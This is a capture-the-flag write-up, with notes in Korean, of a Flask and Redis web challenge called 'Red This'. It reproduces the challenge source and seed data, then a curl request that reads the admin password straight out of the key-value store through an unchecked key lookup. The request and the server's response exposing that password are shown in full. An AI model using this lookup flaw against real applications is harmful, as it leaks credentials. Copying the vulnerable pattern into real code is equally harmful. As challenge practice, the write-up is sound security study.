### IMPORTS ###
import flask, redis, os
### INITIALIZATIONS ###
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
HOST = "redthis-redis"
### HELPER FUNCTIONS ###
def getData(key):
db = redis.Redis(host=HOST, port=6379, decode_responses=True)
value = db.get(key)
return value
def getAdminOptions(username):
adminOptions = []
if username != None and username == "admin":
db = redis.Redis(host=HOST, port=6379, decode_responses=True)
adminOptions = db.json().get("admin_options", "$")[0]
return adminOptions
### ROUTES ###
@app.route('/', methods=['GET'])
def root():
username = flask.session.get('username')
adminOptions = getAdminOptions(username)
return flask.render_template('index.html', adminOptions=adminOptions)
# get quote
@app.route('/get_quote', methods=['POST'])
def getQuote():
username = flask.session.get('username')
person = flask.request.form.get('famous_person')
quote = [person, '']
if "flag" in person and username != "admin":
quote[1] = "Nope"
else:
quote[1] = getData(person)
adminOptions = getAdminOptions(username)
return flask.render_template('index.html', adminOptions=adminOptions, quote=quote)
@app.route('/register', methods=['POST', 'GET'])
def register():
# return register page
if flask.request.method == 'GET':
error = flask.request.args.get('error')
return flask.render_template('register.html', error=error)
username = flask.request.form.get("username").lower()
password = flask.request.form.get("password")
## error check
if not username or not password:
return flask.redirect('/register?error=Missing+fields')
## if username already exists return error
isUser = getData(username)
if isUser:
return flask.redirect('/register?error=Username+already+taken')
else:
# insert new user and password
db = redis.Redis(host=HOST, port=6379, decode_responses=True)
# db.set(username, "User") # nah, we don't want to let you write to the db :)
passwordKey = username + "_password"
# db.set(passwordKey, password) # nah, we don't want to let you write to the db :)
flask.session['username'] = username
return flask.redirect('/')
@app.route('/login', methods=['POST', 'GET'])
def login():
# return register page
if flask.request.method == 'GET':
error = flask.request.args.get('error')
return flask.render_template('login.html', error=error)
username = flask.request.form.get("username").lower()
password = flask.request.form.get("password")
## error check
if not username or not password:
return flask.redirect('/login?error=Missing+fields')
# check username and password
dbUser = getData(username)
dbPassword = getData(username + "_password")
if dbUser == "User" and dbPassword == password:
flask.session['username'] = username
return flask.redirect('/')
return flask.redirect('/login?error=Bad+login')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False, threaded=True)
insert.redis
set key value
set "FDR" "The only thing we have to fear is fear itself."
set "Shakespeare" "To be, or not to be, that is the question."
set "Mandela" "The greatest glory in living lies not in never falling, but in rising every time we fall."
set "Theodore Roosevelt" "Believe you can and you're halfway there."
set "Disney" "All our dreams can come true, if we have the courage to pursue them."
set "admin" "User"
set "admin_password" "prod_has_a_different_password"
set "fake_flag" "I told you"
set "flag_" "byuctf{test_flag}"
JSON.SET admin_options $ '["hints", "fake_flag", "flag_"]'
No SQL injection 있다는 의미로 해석
아래 명령어 입력으로 비밀번호 탈취 (NoSQL injection 이용)
curl -X POST https://redthis.chal.cyberjousting.com/get_quote \ --data-urlencode "famous_person=admin_password"
결과
<!DOCTYPE html>
<html>
<head>
<title>Red This</title>
</head>
<body>
<h1>Hello! Welcome to my website!</h1>
<p>A friend told me that SQL is broken and I should use No SQL databases. Haha No SQL injection here!</p>
<h2>Click on a name to see a famous quote!</h2>
<form id=quote_form action="/get_quote" method="POST" >
<label for="selector">Choose a famous person</label>
<select id="selector" name="famous_person" form="quote_form">
<option value="FDR">Franklin D. Roosevelt</option>
<option value="Shakespeare">William Shakespeare</option>
<option value="Mandela">Nelson Mandela</option>
<option value="Theodore Roosevelt">Theodore Roosevelt</option>
<option value="Disney">Walt Disney</option>
</select>
<input type="submit" value="Submit">
</form>
<div>
<p><b>admin_password</b>: "I_HopeYou4re8admin_iLoveTechn070g_9283910"</p>
</div>
</body>
</html>%
관리자 로그인
flag 받기